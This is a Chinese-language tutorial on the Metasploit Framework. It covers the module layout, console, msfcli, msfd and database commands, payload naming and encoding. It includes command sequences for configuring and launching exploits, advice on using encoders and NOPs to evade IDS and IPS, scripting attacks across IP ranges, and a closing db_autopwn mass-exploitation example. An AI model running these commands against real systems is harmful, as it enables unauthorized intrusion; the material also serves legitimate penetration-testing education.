1.目录结构
metasploit framework
进入update
输入:svn update 进行文件更新
2.MSF目录结构:
data :包含meterpreter,PassiveX,VNC DLLs,还有一些用户接口的代码如msfweb,和一些插件用到的数据文件
documentiation:包含msf的文档,ruby脚本样例和msf利用的API
external:包含meterpreter,vnc和passiveX payloads的源码
lib:包含msf使用的ruby库
modules:包含exploits,playloads,nops,encoders和auxiliary模块
plugins:包含数据库连接插件,IPS过滤代码和其他一些插件代码
scripts:包含meterpreter的课通过rubyshell利用的脚本,目前包含杀死目标系统antivirus和把meterperter server 实例移动到其他进程的脚本
.svn:包含subversion客户端连接到cvs服务器使用的文件和数据
tools:包含一些有用的脚本和零散工具
3.核心命令
msfconsole core commands
msfconsole
多个会话可以并发执行,命令能够进行交互会话,比如session,jobs。也可以列出和杀死运行中的任务,也可以从一个单一利用创建多个会话这意味着单个利用发动一个用户指定的主机列表会话可以通过ctrl+z发送到后台,ctrl+c停止,msf带有一组强大的API,他们可以通过msfconsole访问切换到交互式ruby shell,session和Framework使底层交互成为可能
核心命令:
? 帮助菜单
back 从当前环境返回
banner 显示一个MSF banner
cd 切换目录
color 颜色切换
connect 连接一个主机
exit 退出MSF
help 帮助菜单
info 显示一个或多个模块的信息
irb 进入irb脚本模式
jobs 显示和管理作业
kill 杀死一个作业
load 加载一个插件
loadpath 在一个路径搜索并加载模块
quit 退出MSF
resource 运行存储在一个文件中的命令
route 查看一个会话的路由信息
save 保存动作
search 搜索模块名和描述
set 给一个变量赋值
setg 把一个值赋给全局变量
show 显示所给类型的模块,或所有模块
sleep 在限定的秒数内什么也不做
unload 卸载一个模块
unset 解除一个或多个变量
unsetg 解除一个或多个全局变量
use 通过名称选择一个模块
version 显示msf和控制台库版本号
4.Metasploit 功能模块
metasploit 功能模块||MSF主要命令||数据库命令
-------------------------------------------------
exploits:
简单来讲,就是针对不同的已知漏洞的利用程序
当我们执行show exploits命令后,显示3行,分别为
exploits名称 等级(rank) 描述
exploit命名规则:
操作系统/服务/模块名称
例如:windows/vnc/realvnc_client
等级(rank)代表好用程度
描述就是对漏洞的简介
查看exploit星系信息:info 模块名
选择一个exploit:use exploits/windows/vnc/real_vnc_client
列出exploit设置选项:show options
options中required的是必须设定的选项
列出exploit的课攻击目标类型:show targets
设置选项:set option 值(如 set RHOST 192.168.0.1)
设置攻击目标:set TARGET 编号(如set Target 2)
-------------------------------------------------
payloads module
payload也就是shellcode,就是在漏洞利用成功后所要做的事情,在MSF中为我们提供了大量的使用的payloads。
当我们选择了一个exploit模块并设置完选项后,我们可以用show payloads 来看一下当前exploit 可以用哪个payloads。
payloads命名规则:
操作系统/类型/名称 如:windows/shell/bind_tcp
类型主要有:
shell:得到一个shell
Dllinject:上传DLL注入到进程
patchup***:修补漏洞
upexec:上传并执行一个文件
meterpreter:高级payload
vncinject:高级payload
passiveX:高级payload
payload名称命名规则:
--shell_find_tag:在一个已建立的连接上创建一个shell
--shell_reverse_tcp:反向连接到攻击者主机并创建一个shell
--bind_tcp:监听一个tcp连接
--reverse_tcp:反向建立tcp连接
--reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组
--add_user:创建一个新用户并添加到管理组
--xxx_ipv6_tcp:基于IPV6
--XXX_nonx_tcp:非No eXecute 或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)
--xxx_ord_tcp:有序payload
--xxx_tcp_allports:在所有可能的端口
--详细解释参考 http://www.offensice-security.com/metasploit-unleashed/A-Bit-About-Payloads
设置payload:set PAYLOAD payload_name
列出选项还是:show options
之后设置选项:set RHOST 192.168.0.1
这样exploit 和 payload就设置完毕了,我们就可以对目标主机进行利用了
由于payloads只不过是汇编指令的序列,通常nop在它前面
这可能作为特征用来开发检测这些攻击,因此,payloads需要被编译并且变化nop用于躲避IDS或IPS检测。
MSF提供了一些编码器以及若干NOP生成器
来使检测过程变得极其困难。
-------------------------------------------------
攻击实例的演示:
attacking by MSF
演示一个简单的例子
远程溢出windows服务器
ms08067 实例的讲解
CTRL+Z 放入后台执行
sessions
显示后台的信息
sessions -h
sessions -i 1 //重新进入连接CRTRL
CTRL+C 断开连接
----------------------------
执行过程:
1.连接到远程系统的漏洞端口
2.交换协议序列直到到达漏洞触发点
3.注入利用代码,其中包含了直接或间接的修改返回地址为我们payload的指令以及nop指令
这增加了我们的代码被执行的机会
4.后续利用,可以是在被创建的用户连接到远程系统或可能是一个GUI客户端到远程系统
-------------------------------------------------
auxiliary,encoders,nops 三个模块
nops 很多时候,跳转到shellcode的精确位置可能不知道,nops需要预置到实际的利用上来避免触发IDS
encoders 作用类似nops,payloads也能触发IDS。他们可以通过payload编码来避免在网络上被发现,在目标上解码,按计划执行。
auxiliary:指纹扫描,漏洞扫描,暴力破解,SQL注入,DoS,欺骗,嗅探,漏洞挖掘等等使用辅助工具的集合模块
-------------------------------------------------
Msfcli interface
msfcli接口允许用户从命令行直接执行利用,而不需要先启动msfconsole这适合迅速发动攻击,直接指定命令行参数,这在大量的系统需要进行测试同样的漏洞的时候非常有用。
也可以写一个简单的shell脚本,指定一IP范围,依次运行利用的程序,对每个目标系统尝试攻击。
msfcli -h 查看帮助
S:显示模块信息
P:可用payloads
O:选项
T:可用目标
E:执行利用
--------
一个简单的例子:
1.显示选择的利用模块信息
./msfcli<exploit_name> S
2.显示可用payload:
./msfcli <exploit_name> P
3.为exploit选择payload,并显示需要设置的选项
./msfcli <exp> PAYLOAD=<payload> O
4.设置必须的选项,列出可用目标:
./msfcli <exp> payload=<payload> option=value T
5.设置目标并执行利用
./msfcli <exp> payload=<payload> option=value target=number E
------------------------------
msfweb 用户接口提供人性化的web界面,便于使用模块:
exploits:利用模块,提供模块搜索功能
auxiliarys:辅助程序模块,提供搜索功能
Payloads:payloads模块,提供搜索功能
console:基于web的控制台,相当于msfconsole
sessions:会话模块,当前的会话信息
options:风格设定
about:msfweb的版本信息
-------------------------------------------------
msfd interface
msfd 工具打开一个网络接口道msfconsole,它可以被指定的IP地址执行,并且监听端口等待进入的连接,允许一个或多个用户从远程系统连接进msf。
实例:
本机: msfd -a 192.168.1.14 -p 2323
远程主机: nc 192.168.1.14 2323
本机断开链接
taskkill /pid <进程号> /f 【强制关闭】
注意设置的时候是IP地址设为本机的IP地址,其他IP地址不行。
-------------------------------------------------
msfpayload and msfencode
msfpayload: 该工具使用户可以在命令行修改现有的payload,并获得C perl 或 Raw 的输出,-h参数列出我们可以用的选项,S选项为我们显示具体payload的信息,选定一个特定payload后,我们就可以用msfpayload对其修改了,并且用C 选项,会输出C程序的格式,P选项输出Perl脚本的格式,也可以输出Raw格式,这使得它能被传输到另一个程序,比如msfencode或重定向到一个文件,我们需要为payload设置CMD参数用于创建在成功利用后所要执行的特定命令,以设置一个dir命令,并输出perl脚本为例,./msfpayload windows/exec CMD=dir P
msfenclode:使用程序是一个可以直接访问 payload编码器的框架,可以用-l参数列出可用编码器,-h参数列出可选项,用msfpayload是生成raw格式payload的一个简单方法,并可以通过管道输出直接msfencode或从文件中读取它,编码确保不良字符不会出现在payload,最终也改进了躲避IDS能力。
bad characters:不良字符
许多应用程序在接受输入时执行过滤排序,如:web server 可能在unicode编码发动到一段存在漏洞的代码之前对其进行预处理,因此payload可能会被修改,并且无法正常运行。
一些字符也最终成为结束字符串,比如NULL字节(0x00)他们必须也要避免,要确定哪些字符会被预处理,然后进行修改。
----------------------
database backend comands //数据库后台命令
msf 可以支持多种不同的数据库,当前包括SQLite3(自带驱动),MySQL,PostgreSQL用于探测攻击目标的漏洞和自动利用,并且支持加载 amap ,nmap或Nessus扫描报告后,根据目标系统开发端口和可能存在的漏洞进行自动尝试利用,这大大提高了渗透测试人员的工作效率。
数据库后台的命令:
db_add_host 添加一个或多个主机到数据库
db_add_note 添加一个注释到主机
db_add_port 添加一个端口到主机
db_connect 连接一个存在数据库实例
db_create 创建一个新的数据库实例
db_del_host 从数据库删除一个或多个主机
db_del_port 从数据库删除一个端口
db_destory 删除一个存在的数据库
db_disconnect 断开与当前数据库实例的连接
db_driver 指定一个数据库驱动
db_hosts 列出数据库中的所有主机
db_nmap 执行Nmap并记录输出
db_notes 列出数据中的所有注释
db_services 列出数据库中的所有服务
db_vuns 列出数据库中的所有漏洞
db_workspaces 转换数据库工作区
db_import_ip_list 引入一个IP列表文件
db_import_amap_mlog 引入一个THC-Amap扫描结果文件(-o,-m)
db_import_nessus_nbe 引入一个Nessus扫描结果文件(NBE)
db_import_nessus_xml 引入一个Nessus扫描结果文件
db_import_nmap_xml 引入一个Nmap扫描结果文件(-oX)
db_autopwn 自动利用
4.db_autopwn
db_autopwn
参数:
-h 显示帮助
-t 显示多有匹配的利用模块
-x 选择基于漏洞的模块
-p 选择基于开放端口的模块
-e 选择所有匹配目标的利用程序
-r 用一个反向连接的shell(reverse)
-b 用以随机端口的绑定shell(bind)
-q 禁用利用程序输出
-l [范围]值对此范围内的主机进行利用
-X [范围]永远排除此范围内的主机
-Pl [范围]只对开放这些端口的主机进行利用
-PX [范围]永远排除对开放这些端口的主机
-m [范围]只运行名字与正则表达式匹配的模块
-------------------------------------
成功实例:
db_nmap -sV 192.168.1.110 ---扫描主机
db_autopwn -p -e -b ----- 自动连接||进行攻击